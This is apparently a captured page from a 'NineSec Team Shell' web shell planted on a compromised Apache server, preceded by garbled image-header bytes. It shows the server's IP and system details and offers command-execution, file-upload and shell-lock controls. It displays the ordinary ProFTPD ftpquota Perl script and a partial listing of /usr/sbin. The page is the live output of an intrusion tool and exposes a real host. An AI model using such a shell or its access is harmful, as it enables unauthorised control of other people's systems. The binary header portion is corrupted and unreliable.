�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.19
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /usr/sbin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/sbin/ftpquota
#!/usr/bin/perl
# -------------------------------------------------------------------------
# Copyright (C) 2000-2017 TJ Saunders <tj@castaglia.org>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Suite 500, Boston, MA 02110-1335, USA.
# -------------------------------------------------------------------------

use strict;

use Fcntl qw(:flock);
use File::Basename qw(basename);
use Getopt::Long;
use IO::Seekable;

my $program = basename($0);
my $verbose = 0;

# These formats are highly dependent on the quota record definitions in
# mod_quotatab.h. Should those definitions change, these format strings will
# need to be adjusted accordingly.
my $limit_format = "Z81I1C1I1d3L3";
my $tally_format = "Z81I1d3L3";

# These sizes are determined by the sizes of the quota_limit_t and
# quota_tally_t structs (NOT using C's sizeof(), though -- alignment issues)
my $limit_reclen = 126;
my $tally_reclen = 121;

# the values for these variables is similarly dependent on the actual
# values defined in mod_quotatab.h
my $ALL_QUOTA = 10;
my $USER_QUOTA = 20;
my $GROUP_QUOTA = 30;
my $CLASS_QUOTA = 40;

my $HARD_LIMIT = 1;
my $SOFT_LIMIT = 2;

my $LIMIT_TABLE = 100;
my $TALLY_TABLE = 101;

my $LIMIT_MAGIC = hex(7626);
my $TALLY_MAGIC = hex(7644);

my $default_limit_table = "./ftpquota.limittab";
my $default_tally_table = "./ftpquota.tallytab";
my $default_name = "";
my $default_quota_type = $ALL_QUOTA;
my $default_limit_type = $HARD_LIMIT;
my $default_per_session = 0;
my $default_bytes_in = -1.0;
my $default_bytes_out = -1.0;
my $default_bytes_xfer = -1.0;
my $default_files_in = 0;
my $default_files_out = 0;
my $default_files_xfer = 0;

my $byte_units = "byte";

my %opts = ();
GetOptions(\%opts, 'Bu=n', 'bytes-upload=n', 'Bd=n', 'bytes-download=n',
  'Bt=n', 'bytes-xfer=n', 'Fu=n', 'files-upload=n', 'Fd=n', 'files-download=n',
  'Ft=n', 'files-xfer', 'L|limit-type=s', 'N|name=s', 'P|per-session',
  'Q|quota-type=s', 'help', 'table-path=s', 'units=s', 'verbose', 'type=s',
  'add-record', 'create-table', 'delete-record', 'show-records',
  'update-record');

usage() if (defined($opts{'help'}));

my ($table, $table_type);
my %record = ();

parse_options();

if (defined($opts{'add-record'})) {
  open_table();
  wlock_table();
  add_record();
  unlock_table();
  close_table();
  exit 0;
}

if (defined($opts{'create-table'})) {
  open_table();
  close_table();
  exit 0;
}

if (defined($opts{'delete-record'})) {
  open_table();
  wlock_table();
  delete_record();
  unlock_table();
  close_table();
  exit 0;
}

if (defined($opts{'show-records'})) {
  open_table();
  rlock_table();
  print_table();
  unlock_table();
  close_table();
  exit 0;
}

if (defined($opts{'update-record'})) {
  open_table();
  wlock_table();
  update_record();
  unlock_table();
  close_table();
  exit 0;
}

# if no operations have been specified, note this and exit
print STDOUT "$program: no operations to perform, exiting\n";

exit;

# -------------------------------------------------------------------------
sub add_record {
  print STDOUT "$program: adding record\n" if $verbose;

  my $add_quota_type;

  # first, find the matching record.  Note that this option requires
  # both --name and --quota-type

  if (!defined($opts{'Q'})) {
    print STDOUT "$program: --add-record requires --quota-type option\n";
    exit(1);

  } else {
    $add_quota_type = get_quota_type(quota_type => $opts{'Q'});
  }

  if ($add_quota_type != $ALL_QUOTA) {
    if (!defined($opts{'N'})) {
      print STDOUT "$program: --add-record requires --name option\n";
      exit(1);
    }
  }

  # now, see if there is a matching record already in the table
  if (find_record(name => $opts{'N'}, quota_type => $add_quota_type)) {
    print STDOUT "$program: unable to add record: matching record already exists\n";
    exit(1);
  }

  # move to the end of the table, and write the new record
  set_table_position(0, SEEK_END);

  my $formatted_record;

  if ($table_type == $LIMIT_TABLE) {
    $formatted_record = pack($limit_format,
      $record{'name'}, $record{'quota_type'},
      $record{'per_session'}, $record{'limit_type'},
      $record{'bytes_in'}, $record{'bytes_out'}, $record{'bytes_xfer'},
      $record{'files_in'}, $record{'files_out'}, $record{'files_xfer'});

  } elsif ($table_type == $TALLY_TABLE) {

    $formatted_record = pack($tally_format,
      $record{'name'}, $record{'quota_type'},
      $record{'bytes_in'}, $record{'bytes_out'}, $record{'bytes_xfer'},
      $record{'files_in'}, $record{'files_out'}, $record{'files_xfer'});
  }

  write_record(record => $formatted_record);
}

# -------------------------------------------------------------------------
sub check_table {
  my $data;

  print STDOUT "$program: checking table '$table'\n" if $verbose;

  sysread TABLE, $data, 4;

  # unpack what was read in
  my ($magic) = unpack("L", $data);

  if ($table_type == $LIMIT_TABLE) {

    if ($magic != $LIMIT_MAGIC) {
      print STDOUT "$program: bad header: $magic != $LIMIT_MAGIC\n" if
        $verbose;
      die "$program: mismatched table header, exiting\n";

    } else {
      print STDOUT "$program: table has correct header\n" if $verbose;
    }

  } elsif ($table_type == $TALLY_TABLE) {

    if ($magic != $TALLY_MAGIC) {
      print STDOUT "$program: bad header magics: $magic != $TALLY_MAGIC\n" if
        $verbose;
      die "$program: mismatched table header, exiting\n";

    } else {
     print STDOUT "$program: table has correct header\n" if $verbose;
    }
  }
}

# -------------------------------------------------------------------------
sub close_table {
  print STDOUT "$program: closing table '$table'\n" if $verbose;

  close(TABLE);
}

# -------------------------------------------------------------------------
sub delete_record {
  print STDOUT "$program: deleting record\n" if $verbose;

  my $delete_quota_type;

  # first, find the matching record.  Note that this option requires
  # both --name and --quota-type

  if (!defined($opts{'Q'})) {
    print STDOUT "$program: --delete-record requires --quota-type option\n";
    exit(1);

  } else {
    $delete_quota_type = get_quota_type(quota_type => $opts{'Q'});
  }

  if ($delete_quota_type != $ALL_QUOTA) {
    if (!defined($opts{'N'})) {
      print STDOUT "$program: --delete-record requires --name option\n";
      exit(1);
    }
  }

  # now, find the matching record in the table
  unless (find_record(name => $opts{'N'}, quota_type => $delete_quota_type)) {
    print STDOUT "$program: unable to delete record: no match found\n";
    exit(1);
  }
  rewind_record();

  print STDOUT "$program: modifying table '$table'\n" if $verbose;

  # first, record the current file position
  my $position = get_table_position();

  # next, advance past this record to be deleted, and read in the
  # rest of the file

  seek_record(1);

  my ($nrecords, @records) = read_table();

  # Rewind the previous position, and "delete" that record by simply
  # overwriting it.  Note that this approach works for file tables --
  # tables in other formats, such as SQL, will have a much easier time
  # deleting a quota record.

  set_table_position($position, SEEK_SET);

  if ($nrecords > 0) {
    for (my $i = 0; $i < $nrecords; $i++) {
      write_record(record => $records[$i]);
    }

    # Truncate the table
    truncate_table(len => get_table_position() - 4);

  } else {

    # Truncate the table
    truncate_table(len => $position - 4);
  }

  # done
  exit(0);
}

# -------------------------------------------------------------------------
sub find_record {
  my %args = @_;
  my $nrecords = 0;
 
  my $search_name = $args{'name'};
  my $search_quota_type = $args{'quota_type'};

  while (my $record = read_record()) {
    $nrecords++;

    my ($name, $quota_type, @junk);

    # unpack the binary record structure
    if ($table_type == $LIMIT_TABLE) {
      ($name, $quota_type, @junk) = unpack($limit_format, $record);

    } elsif ($table_type == $TALLY_TABLE) {
      ($name, $quota_type, @junk) = unpack($tally_format, $record);
    }

    # remove any NULs from $name
    $name =~ s/(\0*)?//;

    if ($search_quota_type == $ALL_QUOTA and
        $quota_type == $ALL_QUOTA) {
      return $record;

    } elsif ($name eq $search_name and
             $quota_type == $search_quota_type) {
      return $record;
    }
  }

  return undef;
}

# -------------------------------------------------------------------------
sub get_display_bytes {
  my %args = @_;

  my $bytes = $args{'bytes'};

  if ($byte_units eq "byte") {
    # no calculation necessary

    unless ($bytes eq "unlimited" || $bytes <= 0) {
      return sprintf "bytes:\t%.2f", $bytes;
    } else {
      return sprintf "bytes:\tunlimited";
    }

  } elsif ($byte_units eq "kilo") {
    # divide by 1024.0
    my $adj_bytes = $bytes / 1024.0;

    unless ($bytes eq "unlimited" || $bytes <= 0) {
      return sprintf "Kb:\t%.2f", $adj_bytes;
    } else {
      return sprintf "Kb:\tunlimited";
    }

  } elsif ($byte_units eq "mega") {
    # divide by 1024.0 * 1024.0
    my $adj_bytes = $bytes / (1024.0 * 1024.0);

    unless ($bytes eq "unlimited" || $bytes <= 0) {
      return sprintf "Mb:\t%.2f", $adj_bytes;
    } else {
      return sprintf "Mb:\tunlimited";
    }

  } elsif ($byte_units eq "giga") {
    # divide by 1024.0 * 1024.0 * 1024.0
    my $adj_bytes = $bytes / (1024.0 * 1024.0 * 1024.0);

    unless ($bytes eq "unlimited" || $bytes <= 0) {
      return sprintf "Gb:\t%.2f", $adj_bytes;
    } else {
      return sprintf "Gb:\tunlimited";
    }
  }
}

# -------------------------------------------------------------------------
sub get_quota_type {
  my %args = @_;

  my $quota_type = $args{'quota_type'};

  # given the command-line --quote-type option value, return the
  # corresponding numeric value

  if ($quota_type eq "all") {
    return $ALL_QUOTA;

  } elsif ($quota_type eq "user") {
    return $USER_QUOTA;

  } elsif ($quota_type eq "group") {
    return $GROUP_QUOTA;

  } elsif ($quota_type eq "class") {
    return $CLASS_QUOTA;

  } else {
    print STDERR "$program: unknown quota type: $quota_type\n";
    exit(1);
  }
}

# -------------------------------------------------------------------------
sub get_table_position {
  return sysseek(TABLE, 0, 1);
}

# -------------------------------------------------------------------------
sub open_table {

  # if the table doesn't exist, create it if requested
  if (defined($opts{'create-table'})) {
    die "$program: cannot create existing table\n" if (-e $table);

    print STDOUT "$program: creating new table\n" if $verbose;

    open(TABLE, "> $table") or
      die "$program: unable to create $table: $!\n";

    print STDOUT "$program: writing header for new table\n" if $verbose;

    # write out the identifying header for the table type
    if ($table_type == $LIMIT_TABLE) {
      syswrite TABLE, pack("L", $LIMIT_MAGIC);

    } elsif ($table_type == $TALLY_TABLE) {
      syswrite TABLE, pack("L", $TALLY_MAGIC);
    }

  } else {

    print STDOUT "$program: opening table '$table'\n" if $verbose;

    if (defined($opts{'show-records'})) {
      open(TABLE, "< $table") or
        die "$program: unable to open $table: $!\n";

    } else {
      open(TABLE, "+< $table") or
        die "$program: unable to open $table: $!\n";
    }

    check_table();
  }
}

# -------------------------------------------------------------------------
sub parse_options {

  $verbose = 1 if (defined($opts{'verbose'}));

  if (defined($opts{'type'})) {

    die "$program: unknown table type: $opts{'type'}\n" if
      ($opts{'type'} ne 'limit' and $opts{'type'} ne 'tally');

    if ($opts{'type'} eq 'limit') {
      $table_type = $LIMIT_TABLE;
      $table = $default_limit_table;
    }

    if ($opts{'type'} eq 'tally') {
      $table_type = $TALLY_TABLE;
      $table = $default_tally_table;
    }

  } else {
    die "$program: missing required --type parameter\n";
  }

  $table = $opts{'table-path'} if (defined($opts{'table-path'}));

  if (defined($opts{'N'})) {
    $record{'name'} = $opts{'N'};

    # make sure the name is not too long
    die "$program: name is too long, must be less than 80 characters\n"
      if (length($record{'name'}) >= 80);

  } else {
    $record{'name'} = $default_name;
  }

  if (defined($opts{'P'})) {
    $record{'per_session'} = 1;

  } else {
    $record{'per_session'} = $default_per_session;
  }

  if (defined($opts{'Q'})) {
    if ($opts{'Q'} eq "all") {
      $record{'quota_type'} = $ALL_QUOTA;

    } elsif ($opts{'Q'} eq "user") {
      $record{'quota_type'} = $USER_QUOTA;

      # it's an error if there's no -N option present as well
      unless (defined($opts{'N'})) {
        print STDOUT "$program: quota type \"user\" requires --name option\n";
        exit(1);
      }

    } elsif ($opts{'Q'} eq "group") {
      $record{'quota_type'} = $GROUP_QUOTA;

      # it's an error if there's no -N option present as well
      unless (defined($opts{'N'})) {
        print STDOUT "$program: quota type \"group\" requires --name option\n";
        exit(1);
      }

    } elsif ($opts{'Q'} eq "class") {
      $record{'quota_type'} = $CLASS_QUOTA;

      # it's an error if there's no -N option present as well
      unless (defined($opts{'N'})) {
        print STDOUT "$program: quota type \"class\" requires --name option\n";
        exit(1);
      }

    } else {
      print STDERR "$program: unknown quota type: $opts{'Q'}\n";
      exit(1);
    }

  } else {
    $record{'quota_type'} = $ALL_QUOTA;
  }

  if (defined($opts{'L'})) {
    if ($opts{'L'} eq "hard") {
      $record{'limit_type'} = $HARD_LIMIT;

    } elsif ($opts{'L'} eq "soft") {
      $record{'limit_type'} = $SOFT_LIMIT;
 
    } else {
      print STDERR "$program: unknown limit type: $opts{'L'}\n";
      exit(1);
    }

  } else {
    $record{'limit_type'} = $HARD_LIMIT;
  }

  # process the --units option, if present
  if (defined($opts{'units'})) {

    if ($opts{'units'} eq "B" or $opts{'units'} eq "byte") {
      $byte_units = "byte";

    } elsif ($opts{'units'} eq "Kb" or $opts{'units'} eq "kilo") {
      $byte_units = "kilo";

    } elsif ($opts{'units'} eq "Mb" or $opts{'units'} eq "mega") {
      $byte_units = "mega";

    } elsif ($opts{'units'} eq "Gb" or $opts{'units'} eq "giga") {
      $byte_units = "giga";

    } else {
      print STDERR "$program: unknown unit type: $opts{'units'}\n";
      exit(1);
    }
  }

  if (defined($opts{'Bu'}) || defined($opts{'bytes-upload'})) {
    if (defined($opts{'Bu'}) && defined($opts{'bytes-upload'})) {
      print STDOUT "$program: do not use both --Bu and --bytes-upload options\n";
      exit(1);
    }

    $record{'bytes_in'} = $opts{'Bu'} if (defined($opts{'Bu'}));
    $record{'bytes_in'} = $opts{'bytes-upload'} if
      (defined($opts{'bytes-upload'}));

    if ($record{'bytes_in'} <= 0.0) {
      print STDERR "$program: notice: upload bytes value '", $record{'bytes_in'}, "' means 'unlimited'\n";
    }

    if ($record{'bytes_in'} != $default_bytes_in) {
      if ($byte_units eq "kilo") {
        $record{'bytes_in'} = $record{'bytes_in'} * 1024.0;

      } elsif ($byte_units eq "mega") {
        $record{'bytes_in'} = $record{'bytes_in'} * 1024.0 * 1024.0;

      } elsif ($byte_units eq "giga") {
        $record{'bytes_in'} = $record{'bytes_in'} * 1024.0 * 1024.0 * 1024.0;
      }
    }

  } else {

    $record{'bytes_in'} = $default_bytes_in if ($table_type == $LIMIT_TABLE);
    $record{'bytes_in'} = 0.0 if ($table_type == $TALLY_TABLE);
  }

  if (defined($opts{'Bd'}) || defined($opts{'bytes-download'})) {
    if (defined($opts{'Bd'}) && defined($opts{'bytes-download'})) {
      print STDOUT "$program: do not use both --Bd and --bytes-download options\n";
      exit(1);
    }

    $record{'bytes_out'} = $opts{'Bd'} if (defined($opts{'Bd'}));
    $record{'bytes_out'} = $opts{'bytes-download'} if
      (defined($opts{'bytes-download'}));

    if ($record{'bytes_out'} <= 0.0) {
      print STDERR "$program: notice: download bytes value '", $record{'bytes_out'}, "' means 'unlimited'\n";
    }

    if ($record{'bytes_out'} != $default_bytes_out) {
      if ($byte_units eq "kilo") {
        $record{'bytes_out'} = $record{'bytes_out'} * 1024.0;

      } elsif ($byte_units eq "mega") {
        $record{'bytes_out'} = $record{'bytes_out'} * 1024.0 * 1024.0;

      } elsif ($byte_units eq "giga") {
        $record{'bytes_out'} = $record{'bytes_out'} * 1024.0 * 1024.0 * 1024.0;
      }
    }

  } else {

    $record{'bytes_out'} = $default_bytes_out if ($table_type == $LIMIT_TABLE);
    $record{'bytes_out'} = 0.0 if ($table_type == $TALLY_TABLE);
  }

  if (defined($opts{'Bx'}) || defined($opts{'bytes-xfer'})) {
    if (defined($opts{'Bx'}) && defined($opts{'bytes-xfer'})) {
      print STDOUT "$program: do not use both --Bx and --bytes-xfer options\n";
      exit(1);
    }

    $record{'bytes_xfer'} = $opts{'Bx'} if (defined($opts{'Bx'}));
    $record{'bytes_xfer'} = $opts{'bytes-xfer'} if
      (defined($opts{'bytes-xfer'}));

    if ($record{'bytes_xfer'} <= 0.0) {
      print STDERR "$program: notice: transfer bytes value '", $record{'bytes_xfer'}, "' means 'unlimited'\n";
    }

    if ($record{'bytes_xfer'} != $default_bytes_xfer) {
      if ($byte_units eq "kilo") {
        $record{'bytes_xfer'} = $record{'bytes_xfer'} * 1024.0;

      } elsif ($byte_units eq "mega") {
        $record{'bytes_xfer'} = $record{'bytes_xfer'} * 1024.0 * 1024.0;

      } elsif ($byte_units eq "giga") {
        $record{'bytes_xfer'} =
          $record{'bytes_xfer'} * 1024.0 * 1024.0 * 1024.0;
      }
    }

  } else {

    $record{'bytes_xfer'} = $default_bytes_xfer if
      ($table_type == $LIMIT_TABLE);
    $record{'bytes_xfer'} = 0.0 if ($table_type == $TALLY_TABLE);
  }

  if (defined($opts{'Fu'}) || defined($opts{'files-upload'})) {
    if (defined($opts{'Fu'}) && defined($opts{'files-upload'})) {
      print STDOUT "$program: do not use both --Fu and --files-upload options\n";
      exit(1);
    }

    $record{'files_in'} = $opts{'Fu'} if (defined($opts{'Fu'}));
    $record{'files_in'} = $opts{'files-upload'} if
      (defined($opts{'files-upload'}));

    if ($record{'files_in'} <= 0) {
      print STDERR "$program: notice: upload files value '", $record{'files_in'}, "' means 'unlimited'\n";
    }

  } else {

    $record{'files_in'} = $default_files_in if ($table_type == $LIMIT_TABLE);
    $record{'files_in'} = 0 if ($table_type == $TALLY_TABLE);
  }

  if (defined($opts{'Fd'}) || defined($opts{'files-download'})) {
    if (defined($opts{'Fd'}) && defined($opts{'files-download'})) {
      print STDOUT "$program: do not use both --Fd and --files-download options\n";
      exit(1);
    }

    $record{'files_out'} = $opts{'Fd'} if (defined($opts{'Fd'}));
    $record{'files_out'} = $opts{'files-download'} if
      (defined($opts{'files-download'}));

    if ($record{'files_out'} <= 0) {
      print STDERR "$program: notice: download files value '", $record{'files_out'}, "' means 'unlimited'\n";
    }

  } else {

    $record{'files_out'} = $default_files_out if ($table_type == $LIMIT_TABLE);
    $record{'files_out'} = 0 if ($table_type == $TALLY_TABLE);
  }

  if (defined($opts{'Fx'}) || defined($opts{'files-xfer'})) {
    if (defined($opts{'Fx'}) && defined($opts{'files-xfer'})) {
      print STDOUT "$program: do not use both --Fx and --files-xfer options\n";
      exit(1);
    }

    $record{'files_xfer'} = $opts{'Fx'} if (defined($opts{'Fx'}));
    $record{'files_xfer'} = $opts{'files-xfer'} if
      (defined($opts{'files-xfer'}));

    if ($record{'files_xfer'} <= 0) {
      print STDERR "$program: notice: transfer files value '", $record{'files_xfer'}, "' means 'unlimited'\n";
    }

  } else {

    $record{'files_xfer'} = $default_files_xfer if
      ($table_type == $LIMIT_TABLE);
    $record{'files_xfer'} = 0 if ($table_type == $TALLY_TABLE);
  }
}

# -------------------------------------------------------------------------
sub print_record {
  my %args = @_;

  my $record = $args{'record'};

  my ($name, $quota_type, $per_session, $limit_type, $bytes_in, $bytes_out,
    $bytes_xfer, $files_in, $files_out, $files_xfer);

  if ($table_type == $LIMIT_TABLE) {
    ($name, $quota_type, $per_session, $limit_type, $bytes_in, $bytes_out,
     $bytes_xfer, $files_in, $files_out, $files_xfer) = unpack($limit_format,
     $record);

  } elsif ($table_type == $TALLY_TABLE) {

    ($name, $quota_type, $bytes_in, $bytes_out, $bytes_xfer,
     $files_in, $files_out, $files_xfer) = unpack($tally_format, $record);
  }


  # make the symbolic values legible
  $quota_type = "All" if ($quota_type == $ALL_QUOTA);
  $quota_type = "User" if ($quota_type == $USER_QUOTA);
  $quota_type = "Group" if ($quota_type == $GROUP_QUOTA);
  $quota_type = "Class" if ($quota_type == $CLASS_QUOTA);

  if ($table_type == $LIMIT_TABLE) {
    $limit_type = "Hard" if ($limit_type == $HARD_LIMIT);
    $limit_type = "Soft" if ($limit_type == $SOFT_LIMIT);

    if ($per_session eq 1) {
      $per_session = "True";

    } else {
      $per_session = "False";
    }
  }

  # print "unlimited" if quota is unlimited, but only for limit tables
  if ($table_type == $LIMIT_TABLE) {
    $bytes_in = "unlimited" if ($bytes_in <= 0.0);
    $bytes_out = "unlimited" if ($bytes_out <= 0.0);
    $bytes_xfer = "unlimited" if ($bytes_xfer <= 0.0);

    $files_in = "unlimited" if ($files_in <= 0);
    $files_out = "unlimited" if ($files_out <= 0);
    $files_xfer = "unlimited" if ($files_xfer <= 0);
  }

  print STDOUT "-------------------------------------------\n";
  print STDOUT "  Name: $name\n";
  print STDOUT "  Quota Type: $quota_type\n";

  if ($table_type == $LIMIT_TABLE) {
    print STDOUT "  Per Session: $per_session\n";
    print STDOUT "  Limit Type: $limit_type\n";
  }

  print STDOUT "    Uploaded ", get_display_bytes('bytes' => $bytes_in), "\n";
  print STDOUT "    Downloaded ", get_display_bytes('bytes' => $bytes_out),
    "\n";
  print STDOUT "    Transferred ", get_display_bytes('bytes' => $bytes_xfer),
    "\n";

  print STDOUT "    Uploaded files:\t$files_in\n";
  print STDOUT "    Downloaded files:\t$files_out\n";
  print STDOUT "    Transferred files:\t$files_xfer\n";
}

# -------------------------------------------------------------------------
sub print_table {
  my $have_records = 0;

  while (my $record = read_record()) {
    $have_records = 1;
    print_record(record => $record);
  }
  print STDOUT "$program: (empty table)\n" unless ($have_records);

  # done
  exit(0);
}

# -------------------------------------------------------------------------
sub read_record {
  my $record;
  my $bread;

  if ($table_type == $LIMIT_TABLE) {
    $bread = sysread TABLE, $record, $limit_reclen;

  } elsif ($table_type == $TALLY_TABLE) {
    $bread = sysread TABLE, $record, $tally_reclen;
  }

  if ($bread) {
    return $record;

  } else {
    return undef;
  }
}

# -------------------------------------------------------------------------
sub read_table {
  my @records = ();
  my $nrecords_read = 0;

  # read from TABLE
  while (my $record = read_record()) {
    $nrecords_read++;
    push(@records, $record);
  }

  return ($nrecords_read, @records);
}

# -------------------------------------------------------------------------
sub rewind_record {
  if ($table_type == $LIMIT_TABLE) {
    sysseek TABLE, -$limit_reclen, 1;

  } elsif ($table_type == $TALLY_TABLE) {
    sysseek TABLE, -$tally_reclen, 1;
  }
}

# -------------------------------------------------------------------------
sub rlock_table {
  print STDOUT "$program: read-locking table '$table'\n" if $verbose;

  flock(TABLE, LOCK_SH);
}

# -------------------------------------------------------------------------
sub seek_record {
  my ($n) = @_;

  if ($table_type == $LIMIT_TABLE) {
    sysseek TABLE, $limit_reclen, $n;
  
  } elsif ($table_type == $TALLY_TABLE) {
    sysseek TABLE, $tally_reclen, $n;
  }
}

# -------------------------------------------------------------------------
sub set_table_position {
  my ($position, $whence) = @_;

  my $result = sysseek(TABLE, $position, $whence);

  print STDOUT "$program: set table position to $result\n" if $verbose;

  return $result;
}

# -------------------------------------------------------------------------
sub truncate_table {
  my %args = @_;

  my $length = $args{'len'};

  # don't forget about the header (4 bytes)
  truncate TABLE, $length + 4;
}

# -------------------------------------------------------------------------
sub unlock_table {
  print STDOUT "$program: unlocking table '$table'\n" if $verbose;

  flock(TABLE, LOCK_UN);
}

# -------------------------------------------------------------------------
sub update_record {
  my $current_record;
  my $search_quota_type;

  # first, find the matching record.  Note that this option requires
  # both --name and --quota-type

  if (!defined($opts{'Q'})) {
    print STDOUT "$program: --update-record requires --quota-type option\n";
    exit(1);

  } else {
    $search_quota_type = get_quota_type(quota_type => $opts{'Q'});
  }

  if ($search_quota_type != $ALL_QUOTA) {
    if (!defined($opts{'N'})) {
      print STDOUT "$program: --update-record requires --name option\n";
      exit(1);
    }
  }

  # now, find the matching record in the table
  open_table();
  unless ($current_record = find_record(name => $opts{'N'},
      quota_type => $search_quota_type)) {
    print STDOUT "$program: unable to update record: no match found\n";
    exit(1);
  }
  rewind_record();

  print STDOUT "$program: updating table '$table'\n" if $verbose;

  # now, adjust the current record with the updated values in the requested
  # record

  my ($name, $quota_type, $per_session, $limit_type, @junk);

  if ($table_type == $LIMIT_TABLE) { 
    ($name, $quota_type, $per_session, $limit_type,
      @junk) = unpack($limit_format, $current_record);

  } elsif ($table_type == $TALLY_TABLE) {

    ($name, $quota_type, @junk) = unpack($tally_format, $current_record);
  }

  my $formatted_record;

  if ($table_type == $LIMIT_TABLE) {
    $formatted_record = pack($limit_format, $name, $quota_type,
      $record{'per_session'}, $record{'limit_type'},
      $record{'bytes_in'}, $record{'bytes_out'}, $record{'bytes_xfer'},
      $record{'files_in'}, $record{'files_out'}, $record{'files_xfer'});

  } elsif ($table_type == $TALLY_TABLE) {

    $formatted_record = pack($tally_format, $name, $quota_type,
      $record{'bytes_in'}, $record{'bytes_out'}, $record{'bytes_xfer'},
      $record{'files_in'}, $record{'files_out'}, $record{'files_xfer'});
  }

  write_record(record => $formatted_record);

  # done
  exit(0);
}

# -------------------------------------------------------------------------
sub wlock_table {
  print STDOUT "$program: write-locking table '$table'\n" if $verbose;

  flock(TABLE, LOCK_EX);
}

# -------------------------------------------------------------------------
sub write_record {
  my %args = @_;
  my $record = $args{'record'};

  print STDOUT "$program: writing record\n" if $verbose;

  die "$program: error writing table: $!\n" unless
    syswrite TABLE, $record;
}

# -------------------------------------------------------------------------
sub usage {

  print STDOUT <<END_OF_USAGE;

usage: $program [options]

 The following options describe the type of operation to be performed:

  --add-record         Create a new record with the specified limits.  Any
                       limits left unspecified with have their default 
                       values.  This option requires the --name and 
                       --quota-type options.

  --create-table       Create the table if not present.  Used to initialize
                       a table.  The default limit table path is
                       "$default_limit_table".  The default tally table path is
                       "$default_tally_table".

  --delete-record      Deletes a quota record from the table.  This option
                       requires the --name and --quote-type options.

  --show-records       Prints out all of the quota records in the table in
                       a legible format.

  --update-record      Updates a quota record with the specified limits.  Any
                       limits left unspecified will be updated with their
                       default value.  This option requires the --name and
                       --quota-type options.

 The following option describes the type of table on which to operate:

  --type               Specifies a table type to use.  The allowable options
                       are: "limit" or "tally".  This is required.

 The following options are used to specify specific quota limits:

  --Bu                 Specifies the limit of the number of bytes that may be
  --bytes-upload       uploaded.  Defaults to -1 (unlimited).  Note that any
                       value less than or equal to zero is treated as
                       "unlimited".

  --Bd                 Specifies the limit of the number of bytes that may be
  --bytes-download     downloaded.  Defaults to -1 (unlimited).  Note that any
                       value less than or equal to zero is treated as
                       "unlimited".

  --Bx                 Specifies the limit of the number of bytes that may be
  --bytes-xfer         transferred.  Note that this total includes uploads,
                       downloads, AND directory listings.  Defaults to
                       -1 (unlimited).  Note that any value value less than or
                       equal to zero is treated as "unlimited".

  --Fu                 Specifies the limit of the number of files that may be
  --files-upload       uploaded.  Defaults to -1 (unlimited).  Note that any
                       value less than or equal to zero is treated as
                       "unlimited".

  --Fd                 Specifies the limit of the number of files that may be
  --files-download     downloaded.  Defaults to -1 (unlimited).  Note that any
                       value less than or equal to zero is treated as
                       "unlimited".

  --Fx                 Specifies the limit of the number of files that may be
  --files-xfer         transferred, including uploads and downloads.  Defaults
                       to -1 (unlimited).  Note that any value less than or
                       equal to zero is treated as "unlimited".

  -L                   Specifies the type of limit, "hard" or "soft", of
  --limit-type         the bytes limits.  If "hard", any uploaded files that
                       push the bytes used counter past the limit will be
                       automatically deleted; if "soft", those extra bytes
                       will be allowed, but future uploads will be denied.
                       This option only makes sense if --type is "limit".

  -N                   Specifies a name for the quota record.  This name
  --name               will be the user/login name, group name, or class
                       name, depending on the quota type.  This option
                       is ignored if the quota type specified is "all".

  -P
  --per-session        Specifies that the quota limit is to be applied only
                       to each session, rather than persisting across
                       sessions.  By default, quotas are persistent.

  -Q                   Specifies a "quota type" for this record, where
  --quota-type         the type means to which category of FTP users this
                       quota will apply.  The quota type must be one of:
                       "user", "group", "class", or "all".

 The following options are miscellaneous:

  --help               Displays this message.

  --table-path         Specifies the path to a quota table file to use.

  --units              Specifies whether to treats bytes as is, in kilobytes,
                       megabytes, or gigabytes.  Allowable options are:
                       "B" or "byte", "Kb" or "kilo", "Mb" or "mega",
                       and "Gb" or "giga".  Defaults to "byte".

  --verbose            Toggles more verbose information about the doings of
                       the tool as it works.

END_OF_USAGE

  exit 0;
}

# -------------------------------------------------------------------------


NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
March 29 2022 11:10:06
root
0755
a2disconf
15.895 KB
February 23 2021 5:35:16
root
0755
a2dismod
15.895 KB
February 23 2021 5:35:16
root
0755
a2dissite
15.895 KB
February 23 2021 5:35:16
root
0755
a2enconf
15.895 KB
February 23 2021 5:35:16
root
0755
a2enmod
15.895 KB
February 23 2021 5:35:16
root
0755
a2ensite
15.895 KB
February 23 2021 5:35:16
root
0755
a2query
9.639 KB
October 26 2023 3:54:09
root
0755
accessdb
14.383 KB
February 25 2020 6:13:45
root
0755
add-shell
0.84 KB
December 07 2019 3:13:44
root
0755
addgnupghome
3.003 KB
July 04 2022 6:20:36
root
0755
addgroup
36.899 KB
April 16 2020 4:12:53
root
0755
adduser
36.899 KB
April 16 2020 4:12:53
root
0755
apache2
692.039 KB
October 26 2023 3:54:09
root
0755
apache2ctl
7.06 KB
March 04 2022 11:48:50
root
